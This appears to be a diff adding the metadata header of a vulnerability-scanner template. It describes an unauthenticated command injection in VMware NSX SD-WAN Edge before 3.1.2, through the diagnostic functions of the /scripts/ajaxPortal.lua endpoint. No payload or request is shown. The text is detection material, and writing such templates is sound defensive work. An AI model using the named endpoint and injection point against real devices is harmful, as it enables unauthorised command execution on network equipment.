+  name: VMware NSX SD-WAN Edge - Unauthenticated Command Injection
+  author: 3th1c_yuk1
+  severity: critical
+  description: |
+    VMware NSX SD-WAN Edge prior to version 3.1.2 contains an unauthenticated command injection vulnerability
+    in the local web UI diagnostic interface. The vulnerability exists in the /scripts/ajaxPortal.lua endpoint
+    where user-supplied input in diagnostic functions (ping, traceroute, DNS) is not properly sanitized before
+    being executed as system commands. This allows remote attackers to execute arbitrary commands on the device
+    when the web UI is enabled on untrusted networks.
